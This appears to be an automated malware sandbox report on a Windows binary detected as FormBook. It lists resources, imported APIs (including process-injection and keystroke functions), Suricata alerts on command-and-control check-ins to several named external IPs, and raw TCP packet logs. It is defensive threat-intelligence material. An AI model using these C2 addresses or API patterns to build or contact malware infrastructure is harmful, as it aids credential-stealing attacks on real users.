RT_GROUP_ICON	0x1399f0	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x139a68	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x139a7c	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x139a90	0x14	data	English	Great Britain	1.25
RT_VERSION	0x139aa4	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x139b80	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	gethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
WININET.dll	HttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
USERENV.dll	DestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, IsDebuggerPresent, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, LoadLibraryW, GetLocalTime, CompareStringW, GetCurrentThread, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, VirtualAlloc, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, ResetEvent, WaitForSingleObjectEx, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, CloseHandle, GetFullPathNameW, GetStartupInfoW, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, SetLastError, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SetCurrentDirectoryW, FindNextFileW, WriteConsoleW
USER32.dll	GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromPoint, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, ClientToScreen, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, LockWindowUpdate, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, TrackPopupMenuEx, GetMessageW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, DispatchMessageW, keybd_event, TranslateMessage, ScreenToClient
GDI32.dll	EndPath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, GetDeviceCaps, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, CreateCompatibleBitmap, CreateCompatibleDC, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, SelectObject, StretchBlt, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StrokePath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegCreateKeyExW, GetSecurityDescriptorDacl, GetAclInformation, GetUserNameW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW
SHELL32.dll	DragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	CreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, VariantChangeType, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysStringLen, QueryPathOfRegTypeLib, SysAllocString, VariantInit, VariantClear, DispCallFunc, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, SafeArrayDestroyDescriptor, VariantCopy, OleLoadPicture

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-05T14:24:29.528469+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	49711	199.59.243.226	80	TCP
2024-09-05T14:24:29.528469+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49711	199.59.243.226	80	TCP
2024-09-05T14:24:45.410661+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57192	72.52.178.23	80	TCP
2024-09-05T14:24:47.999882+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57193	72.52.178.23	80	TCP
2024-09-05T14:24:50.562697+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57194	72.52.178.23	80	TCP
2024-09-05T14:24:53.108803+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	57195	72.52.178.23	80	TCP
2024-09-05T14:24:53.108803+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	57195	72.52.178.23	80	TCP
2024-09-05T14:25:06.999734+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57196	15.197.240.20	80	TCP
2024-09-05T14:25:09.543696+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57197	15.197.240.20	80	TCP
2024-09-05T14:25:12.097318+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57198	15.197.240.20	80	TCP
2024-09-05T14:25:12.097318+0200	2856318	ETPRO MALWARE FormBook CnC Checkin (POST) M4	1	192.168.2.5	57198	15.197.240.20	80	TCP
2024-09-05T14:25:14.634365+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	57199	15.197.240.20	80	TCP
2024-09-05T14:25:14.634365+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	57199	15.197.240.20	80	TCP
2024-09-05T14:25:28.483319+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57200	199.59.243.226	80	TCP
2024-09-05T14:25:31.040913+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57201	199.59.243.226	80	TCP
2024-09-05T14:25:33.548178+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57202	199.59.243.226	80	TCP
2024-09-05T14:25:36.174460+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	57203	199.59.243.226	80	TCP
2024-09-05T14:25:36.174460+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	57203	199.59.243.226	80	TCP
2024-09-05T14:25:50.658954+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57204	162.0.213.94	80	TCP
2024-09-05T14:25:53.204047+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57205	162.0.213.94	80	TCP
2024-09-05T14:25:55.738624+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57206	162.0.213.94	80	TCP
2024-09-05T14:25:58.268529+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	57207	162.0.213.94	80	TCP
2024-09-05T14:25:58.268529+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	57207	162.0.213.94	80	TCP
2024-09-05T14:26:04.426223+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57208	13.248.151.237	80	TCP
2024-09-05T14:26:06.979323+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57209	13.248.151.237	80	TCP
2024-09-05T14:26:09.504074+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57210	13.248.151.237	80	TCP
2024-09-05T14:26:12.167470+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	57211	13.248.151.237	80	TCP
2024-09-05T14:26:12.167470+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	57211	13.248.151.237	80	TCP
2024-09-05T14:26:17.952179+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57212	34.149.87.45	80	TCP
2024-09-05T14:26:20.494766+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57213	34.149.87.45	80	TCP
2024-09-05T14:26:23.015896+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57214	34.149.87.45	80	TCP
2024-09-05T14:26:25.546426+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	57215	34.149.87.45	80	TCP
2024-09-05T14:26:25.546426+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	57215	34.149.87.45	80	TCP
2024-09-05T14:26:31.226240+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57216	91.203.110.247	80	TCP
2024-09-05T14:26:33.887796+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57217	91.203.110.247	80	TCP
2024-09-05T14:26:36.447900+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57218	91.203.110.247	80	TCP
2024-09-05T14:26:38.962807+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	57219	91.203.110.247	80	TCP
2024-09-05T14:26:38.962807+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	57219	91.203.110.247	80	TCP
2024-09-05T14:26:44.499385+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57220	34.149.87.45	80	TCP
2024-09-05T14:26:47.030980+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57221	34.149.87.45	80	TCP
2024-09-05T14:26:49.688095+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57222	34.149.87.45	80	TCP
2024-09-05T14:26:52.280815+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	57223	34.149.87.45	80	TCP
2024-09-05T14:26:52.280815+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	57223	34.149.87.45	80	TCP
2024-09-05T14:26:57.961604+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57224	72.52.178.23	80	TCP
2024-09-05T14:27:00.476532+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57225	72.52.178.23	80	TCP
2024-09-05T14:27:03.017249+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57226	72.52.178.23	80	TCP
2024-09-05T14:27:05.588486+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	57227	72.52.178.23	80	TCP
2024-09-05T14:27:05.588486+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	57227	72.52.178.23	80	TCP
2024-09-05T14:27:11.584928+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57228	199.59.243.226	80	TCP
2024-09-05T14:27:14.189519+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57229	199.59.243.226	80	TCP
2024-09-05T14:27:17.145172+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57230	199.59.243.226	80	TCP
2024-09-05T14:27:19.681884+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	57231	199.59.243.226	80	TCP
2024-09-05T14:27:19.681884+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	57231	199.59.243.226	80	TCP
2024-09-05T14:27:33.552885+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57232	199.59.243.226	80	TCP
2024-09-05T14:27:36.110585+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57233	199.59.243.226	80	TCP
2024-09-05T14:27:38.652932+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57234	199.59.243.226	80	TCP
2024-09-05T14:27:41.175589+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	57235	199.59.243.226	80	TCP
2024-09-05T14:27:41.175589+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	57235	199.59.243.226	80	TCP
2024-09-05T14:27:49.709341+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	57236	199.59.243.226	80	TCP
2024-09-05T14:27:49.709341+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	57236	199.59.243.226	80	TCP
2024-09-05T14:27:55.252464+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57237	72.52.178.23	80	TCP
2024-09-05T14:27:57.753496+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57238	72.52.178.23	80	TCP
2024-09-05T14:28:00.299708+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	57239	72.52.178.23	80	TCP
2024-09-05T14:28:02.888098+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.5	57240	72.52.178.23	80	TCP
2024-09-05T14:28:02.888098+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	57240	72.52.178.23	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 5, 2024 14:24:29.064208031 CEST	49711	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:24:29.069044113 CEST	80	49711	199.59.243.226	192.168.2.5
Sep 5, 2024 14:24:29.069139004 CEST	49711	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:24:29.071753025 CEST	49711	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:24:29.076515913 CEST	80	49711	199.59.243.226	192.168.2.5
Sep 5, 2024 14:24:29.528198004 CEST	80	49711	199.59.243.226	192.168.2.5
Sep 5, 2024 14:24:29.528224945 CEST	80	49711	199.59.243.226	192.168.2.5
Sep 5, 2024 14:24:29.528234959 CEST	80	49711	199.59.243.226	192.168.2.5
Sep 5, 2024 14:24:29.528469086 CEST	49711	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:24:29.531501055 CEST	49711	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:24:29.536293983 CEST	80	49711	199.59.243.226	192.168.2.5
Sep 5, 2024 14:24:44.904761076 CEST	57192	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:44.910654068 CEST	80	57192	72.52.178.23	192.168.2.5
Sep 5, 2024 14:24:44.910773039 CEST	57192	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:44.953896999 CEST	57192	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:44.958887100 CEST	80	57192	72.52.178.23	192.168.2.5
Sep 5, 2024 14:24:45.410557985 CEST	80	57192	72.52.178.23	192.168.2.5
Sep 5, 2024 14:24:45.410660982 CEST	57192	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:46.466752052 CEST	57192	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:46.471510887 CEST	80	57192	72.52.178.23	192.168.2.5
Sep 5, 2024 14:24:47.497921944 CEST	57193	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:47.502938986 CEST	80	57193	72.52.178.23	192.168.2.5
Sep 5, 2024 14:24:47.503010035 CEST	57193	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:47.504967928 CEST	57193	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:47.509843111 CEST	80	57193	72.52.178.23	192.168.2.5
Sep 5, 2024 14:24:47.999830961 CEST	80	57193	72.52.178.23	192.168.2.5
Sep 5, 2024 14:24:47.999881983 CEST	57193	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:49.013710022 CEST	57193	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:49.161248922 CEST	80	57193	72.52.178.23	192.168.2.5
Sep 5, 2024 14:24:50.032345057 CEST	57194	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:50.037637949 CEST	80	57194	72.52.178.23	192.168.2.5
Sep 5, 2024 14:24:50.037724018 CEST	57194	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:50.040246010 CEST	57194	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:50.045209885 CEST	80	57194	72.52.178.23	192.168.2.5
Sep 5, 2024 14:24:50.045253992 CEST	80	57194	72.52.178.23	192.168.2.5
Sep 5, 2024 14:24:50.562625885 CEST	80	57194	72.52.178.23	192.168.2.5
Sep 5, 2024 14:24:50.562696934 CEST	57194	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:51.545056105 CEST	57194	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:51.549937010 CEST	80	57194	72.52.178.23	192.168.2.5
Sep 5, 2024 14:24:52.573510885 CEST	57195	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:52.578464031 CEST	80	57195	72.52.178.23	192.168.2.5
Sep 5, 2024 14:24:52.578538895 CEST	57195	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:52.589010954 CEST	57195	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:52.593981981 CEST	80	57195	72.52.178.23	192.168.2.5
Sep 5, 2024 14:24:53.108608961 CEST	80	57195	72.52.178.23	192.168.2.5
Sep 5, 2024 14:24:53.108623981 CEST	80	57195	72.52.178.23	192.168.2.5
Sep 5, 2024 14:24:53.108803034 CEST	57195	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:53.111604929 CEST	57195	80	192.168.2.5	72.52.178.23
Sep 5, 2024 14:24:53.116365910 CEST	80	57195	72.52.178.23	192.168.2.5
Sep 5, 2024 14:25:06.526961088 CEST	57196	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:06.532056093 CEST	80	57196	15.197.240.20	192.168.2.5
Sep 5, 2024 14:25:06.532140017 CEST	57196	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:06.534112930 CEST	57196	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:06.539037943 CEST	80	57196	15.197.240.20	192.168.2.5
Sep 5, 2024 14:25:06.999587059 CEST	80	57196	15.197.240.20	192.168.2.5
Sep 5, 2024 14:25:06.999733925 CEST	57196	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:08.045106888 CEST	57196	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:08.050071001 CEST	80	57196	15.197.240.20	192.168.2.5
Sep 5, 2024 14:25:09.063730955 CEST	57197	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:09.068886995 CEST	80	57197	15.197.240.20	192.168.2.5
Sep 5, 2024 14:25:09.069005966 CEST	57197	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:09.070902109 CEST	57197	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:09.075870037 CEST	80	57197	15.197.240.20	192.168.2.5
Sep 5, 2024 14:25:09.543602943 CEST	80	57197	15.197.240.20	192.168.2.5
Sep 5, 2024 14:25:09.543695927 CEST	57197	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:10.576246977 CEST	57197	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:10.581185102 CEST	80	57197	15.197.240.20	192.168.2.5
Sep 5, 2024 14:25:11.615734100 CEST	57198	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:11.620688915 CEST	80	57198	15.197.240.20	192.168.2.5
Sep 5, 2024 14:25:11.623385906 CEST	57198	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:11.625915051 CEST	57198	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:11.631323099 CEST	80	57198	15.197.240.20	192.168.2.5
Sep 5, 2024 14:25:11.631351948 CEST	80	57198	15.197.240.20	192.168.2.5
Sep 5, 2024 14:25:12.097202063 CEST	80	57198	15.197.240.20	192.168.2.5
Sep 5, 2024 14:25:12.097317934 CEST	57198	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:13.138637066 CEST	57198	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:13.143491983 CEST	80	57198	15.197.240.20	192.168.2.5
Sep 5, 2024 14:25:14.157593012 CEST	57199	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:14.162842035 CEST	80	57199	15.197.240.20	192.168.2.5
Sep 5, 2024 14:25:14.162941933 CEST	57199	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:14.164923906 CEST	57199	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:14.169809103 CEST	80	57199	15.197.240.20	192.168.2.5
Sep 5, 2024 14:25:14.632872105 CEST	80	57199	15.197.240.20	192.168.2.5
Sep 5, 2024 14:25:14.634314060 CEST	80	57199	15.197.240.20	192.168.2.5
Sep 5, 2024 14:25:14.634365082 CEST	57199	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:14.655082941 CEST	57199	80	192.168.2.5	15.197.240.20
Sep 5, 2024 14:25:14.659853935 CEST	80	57199	15.197.240.20	192.168.2.5
Sep 5, 2024 14:25:28.018397093 CEST	57200	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:28.023317099 CEST	80	57200	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:28.024056911 CEST	57200	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:28.027965069 CEST	57200	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:28.032761097 CEST	80	57200	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:28.483258009 CEST	80	57200	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:28.483275890 CEST	80	57200	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:28.483288050 CEST	80	57200	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:28.483319044 CEST	57200	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:28.483366966 CEST	57200	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:29.529963970 CEST	57200	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:30.548536062 CEST	57201	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:30.553543091 CEST	80	57201	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:30.553617954 CEST	57201	80	192.168.2.5	199.59.243.226
